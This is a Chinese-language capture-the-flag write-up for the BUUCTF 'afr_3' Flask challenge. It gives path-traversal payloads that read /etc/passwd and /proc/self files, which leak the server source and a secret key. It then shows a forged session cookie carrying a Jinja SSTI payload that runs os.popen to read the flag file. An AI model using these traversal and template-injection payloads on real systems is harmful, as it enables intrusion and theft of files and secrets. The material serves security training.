BUUCTF[第一章 web入门]afr_3 1
考点:
1.linux系统命令
2.flask之ssti模板注入
3.sisson伪造
进入靶场:
随便输入一个值,提交查询。
发现article可点击。
name参数值可以更改,利用这个name参数获取当前执行系统命令
payload:name=../../../etc/passwd
在Linux /etc/passwd文件中每个用户都有一个对应的记录行,它记录了这个用户的一些基本属性。
尝试读取flag
读取不到flag,
(参考):
/proc详解 - 苦涩的茶 - 博客园 (cnblogs.com)
(24条消息) linux进程与它的文件描述符、/proc/self 表示当前进程目录、lsof_be happy-CSDN博客_/proc/self/fd
Linux内核源代码情景分析-特殊文件系统/proc-对/proc/self/cwd的访问
/proc/sched_debug # 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用 /proc/mounts # 挂载的文件系统列表 /proc/net/arp # arp表,可以获得内网其他机器的地址 /proc/net/route # 路由表信息 /proc/net/tcp and /proc/net/udp # 活动连接的信息 /proc/net/fib_trie # 路由缓存 /proc/version # 内核版本 /proc/[PID]/cmdline # 可能包含有用的路径信息 /proc/[PID]/environ # 程序运行的环境变量信息,可以用来包含getshell /proc/[PID]/cwd # 当前进程的工作目录 /proc/[PID]/fd/[#] # 访问file descriptors,某写情况可以读取到进程正在使用的文件,比如access.log
使用/proc/self/cwd
payload: name=../../../proc/self/cmdline
访问这个路径
要想办法读取这个文件,因为不知道当前的路径,无法通过路径读取,所以通过当前进程的工作目录来读取
payload: name=../.././proc/self/cwd/server.py
是一段python代码
#!/usr/bin/python import os from flask import (Flask, render_template, request, url_for, redirect, session, render_template_string) from flask_session import Session app = Flask(__name__) execfile('flag.py')#execfile() 函数可以用来执行一个文件。 execfile('key.py') FLAG = flag app.secret_key = key @ app.route("/n1page", methods=["GET", "POST"]) def n1page(): if request.method != "POST": return redirect(url_for("index")) n1code = request.form.get("n1code") or None if n1code is not None: n1code = n1code.replace(".", "").replace("_", "").replace("{", "").replace("}", "") if "n1code" not in session or session['n1code'] is None: session['n1code'] = n1code template = None if session[ 'n1code'] is not None: template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code'] session['n1code'] = None return render_template_string(template) @ app.route("/", methods=["GET"]) def index(): return render_template("main.html") @ app.route('/article', methods=['GET']) def article(): error = 0 if 'name' in request.args: page = request.args.get('name') else: page = 'article' if page.find('flag') >= 0: page = 'notallowed.txt' try: template = open('/home/nu11111111l/articles/{}'.format(page)).read() except Exception as e: template = e return render_template('article.html', template=template) if __name__ == "__main__": app.run(host='0.0.0.0', debug=False)
此代码包含两个文件:flag.py 和 key.py
flag在flag.py(flag被过滤)
flask的appkey在key.py 源码里面存在ssti,
前提是可以伪造flask的session
(参考)
1.flask之ssti模版注入从零到入门 - 先知社区 (aliyun.com)
2.(24条消息) render()函数进行服务器端渲染(详细)_Yanfengting的博客-CSDN博客_res.render()的参数是什么
分别读取:
开始伪造session
密钥是 Drmhze6EPcv0fN_81Bj-nA
构造ssti模板注入
{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}
加密,加密的脚本获取:
git clone https://github.com/noraj/flask-session-cookie-manager
得到加密后的字符串
添加cookie上传
得到flag.